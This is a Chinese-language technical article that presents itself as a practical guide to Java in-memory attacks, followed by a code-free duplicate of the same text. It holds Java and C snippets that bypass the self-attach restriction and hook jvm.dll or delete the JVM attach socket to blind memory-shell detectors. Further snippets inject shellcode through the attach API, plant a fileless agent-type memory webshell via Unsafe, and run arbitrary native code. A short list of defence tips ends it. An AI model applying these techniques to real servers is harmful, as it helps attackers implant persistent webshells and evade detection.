Java内存攻击技术漫谈
字数 1413 2025-08-05 00:15:28

Java内存攻击技术漫谈 - 深入解析与实战指南

前言

Java技术栈漏洞已成为Web安全领域的主流战场。随着防御系统(IPS、RASP等)的升级,Java攻防阵地已从磁盘转移到内存层面。本文将全面解析Java内存攻击技术,包括绕过安全限制、内存马防检测、远程进程注入等高级技术。

1. allowAttachSelf绕过技术

背景

Java 9+默认禁止SelfAttach,通过jdk.attach.allowAttachSelf参数控制(默认为false)。

绕过原理

通过反射修改HotSpotVirtualMachine类的静态属性ALLOW_ATTACH_SELF

Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);

// 移除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.setBoolean(null, true);  // 修改值为true

关键点

  • 需要同时处理final修饰符
  • 修改的是静态属性,影响整个JVM

2. 内存马防检测技术

内存马分类

  1. Agent型:利用instrument机制修改现有类
    • JVM层注入,通用性强
  2. 非Agent型:新增Web组件(Servlet/Filter等)
    • 依赖容器环境,通用性弱

检测方法

  1. 基于反射:检测新增类和对象,仅适用于非Agent型
  2. 基于instrument:注入检测逻辑,可检测所有类型

防检测原理

破坏instrument机制,使检测工具无法attach:

Windows平台

Hook jvm.dll中的关键函数:

  • JVM_EnqueueOperation
  • _JVM_EnqueueOperation@20
unsigned char buf[] = "\xc2\x14\x00";  // 32位直接返回
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
LPVOID dst = GetProcAddress(hModule, "_JVM_EnqueueOperation@20");
DWORD old;
VirtualProtectEx(GetCurrentProcess(), dst, 3, PAGE_EXECUTE_READWRITE, &old);
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);

Linux平台

删除UNIX Domain Socket文件:

rm -f /tmp/.java_pid<pid>

3. Java原生远程进程注入

Windows平台实现

利用Java的enqueue函数在服务端创建stub线程执行代码:

Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
Method enqueue = cls.getDeclaredMethod("enqueue", long.class, byte[].class, 
                                      String.class, String.class, Object[].class);
enqueue.setAccessible(true);

// 构造shellcode
byte[] buf = new byte[]{...};  // 弹计算器的shellcode

// 注入当前进程(PID=-1)
enqueue.invoke(null, -1L, buf, "test", "test", new Object[]{});

特点

  • 天然免杀(Java.exe有合法签名)
  • 不需要额外JNI库

4. 自定义类调用系统Native库函数

技术原理

  1. 自定义sun.tools.attach.VirtualMachineImpl
  2. 使用自定义ClassLoader绕过双亲委托
  3. 直接defineClass加载自定义类

实现代码

public class Myloader extends ClassLoader {
    public Class get(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}

// 加载自定义类
String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF...";
Class result = new Myloader().get(Base64.getDecoder().decode(classStr));

5. 无文件落地Agent型内存马植入

技术原理

绕过传统Agent加载流程,直接构造InstrumentationImpl实例:

  1. Native内存操作:使用Unsafe分配内存
  2. 伪造JPLISAgent:组装复杂数据结构
  3. 定位JVMTIEnv:通过内存搜索或指针特征匹配
  4. 执行redefineClasses:直接修改类字节码

关键步骤

  1. 获取Unsafe实例:
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
  1. 伪造JPLISAgent:
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putLong(jvmtiStackAddr+8, 0x30010100000071eel);
// 设置其他必要字段...
  1. 执行类重定义:
Class cls = Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object obj = constructor.newInstance(agentAddr, true, true);

Method redefineMethod = cls.getMethod("redefineClasses", ClassDefinition[].class);
redefineMethod.invoke(obj, new Object[]{classDefinitions});

6. Java跨平台任意Native代码执行

技术原理

  1. 控制jvmtienv的函数指针
  2. 在JIT区域部署shellcode(RWX内存)
  3. 通过内存搜索定位可执行区域

实现代码

// 搜索可执行内存区域
for (int j=-0x1000; j<0x1000; j++) {
    long target = unsafe.getAddress(allocateMemory+j*offset);
    if (unsafe.getByte(target)==0X55 || unsafe.getByte(target)==0XE8) {
        shellcodeBed = target;
        break;
    }
}

// 布置shellcode
unsafe.putLong(allocateMemory+8, allocateMemory+0x10);
unsafe.putLong(allocateMemory+8+8, allocateMemory+0x10);
unsafe.putLong(allocateMemory+0x10+0x168, allocateMemory+0x10+0x168+8);

// 写入shellcode
for (int k=0; k<buf.length; k++) {
    unsafe.putByte(allocateMemory+0x10+0x168+8+k, buf[k]);
}

// 触发执行
redefineMethod.invoke(obj, new Object[]{classDefinitions});

防御建议

  1. 监控sun.instrument.InstrumentationImpl的实例化
  2. 检测Unsafe类的使用
  3. 限制反射修改关键类的能力
  4. 监控JVM内部关键函数的调用
  5. 启用更严格的RASP防护

总结

本文详细解析了Java内存攻击的多种高级技术,包括:

  • 绕过安全限制(allowAttachSelf)
  • 内存马防检测(破坏instrument机制)
  • 原生远程进程注入
  • 无文件Agent型内存马
  • 跨平台Native代码执行

这些技术展示了Java内存层面的强大攻击能力,也提醒防御方需要加强内存行为的监控和防护。

Java内存攻击技术漫谈 - 深入解析与实战指南 前言 Java技术栈漏洞已成为Web安全领域的主流战场。随着防御系统(IPS、RASP等)的升级,Java攻防阵地已从磁盘转移到内存层面。本文将全面解析Java内存攻击技术,包括绕过安全限制、内存马防检测、远程进程注入等高级技术。 1. allowAttachSelf绕过技术 背景 Java 9+默认禁止SelfAttach,通过 jdk.attach.allowAttachSelf 参数控制(默认为false)。 绕过原理 通过反射修改 HotSpotVirtualMachine 类的静态属性 ALLOW_ATTACH_SELF : 关键点 需要同时处理final修饰符 修改的是静态属性,影响整个JVM 2. 内存马防检测技术 内存马分类 Agent型 :利用instrument机制修改现有类 JVM层注入,通用性强 非Agent型 :新增Web组件(Servlet/Filter等) 依赖容器环境,通用性弱 检测方法 基于反射 :检测新增类和对象,仅适用于非Agent型 基于instrument :注入检测逻辑,可检测所有类型 防检测原理 破坏instrument机制,使检测工具无法attach: Windows平台 Hook jvm.dll 中的关键函数: JVM_EnqueueOperation _JVM_EnqueueOperation@20 Linux平台 删除UNIX Domain Socket文件: 3. Java原生远程进程注入 Windows平台实现 利用Java的 enqueue 函数在服务端创建stub线程执行代码: 特点 天然免杀(Java.exe有合法签名) 不需要额外JNI库 4. 自定义类调用系统Native库函数 技术原理 自定义 sun.tools.attach.VirtualMachineImpl 类 使用自定义ClassLoader绕过双亲委托 直接defineClass加载自定义类 实现代码 5. 无文件落地Agent型内存马植入 技术原理 绕过传统Agent加载流程,直接构造 InstrumentationImpl 实例: Native内存操作 :使用Unsafe分配内存 伪造JPLISAgent :组装复杂数据结构 定位JVMTIEnv :通过内存搜索或指针特征匹配 执行redefineClasses :直接修改类字节码 关键步骤 获取Unsafe实例: 伪造JPLISAgent: 执行类重定义: 6. Java跨平台任意Native代码执行 技术原理 控制jvmtienv的函数指针 在JIT区域部署shellcode(RWX内存) 通过内存搜索定位可执行区域 实现代码 防御建议 监控 sun.instrument.InstrumentationImpl 的实例化 检测Unsafe类的使用 限制反射修改关键类的能力 监控JVM内部关键函数的调用 启用更严格的RASP防护 总结 本文详细解析了Java内存攻击的多种高级技术,包括: 绕过安全限制(allowAttachSelf) 内存马防检测(破坏instrument机制) 原生远程进程注入 无文件Agent型内存马 跨平台Native代码执行 这些技术展示了Java内存层面的强大攻击能力,也提醒防御方需要加强内存行为的监控和防护。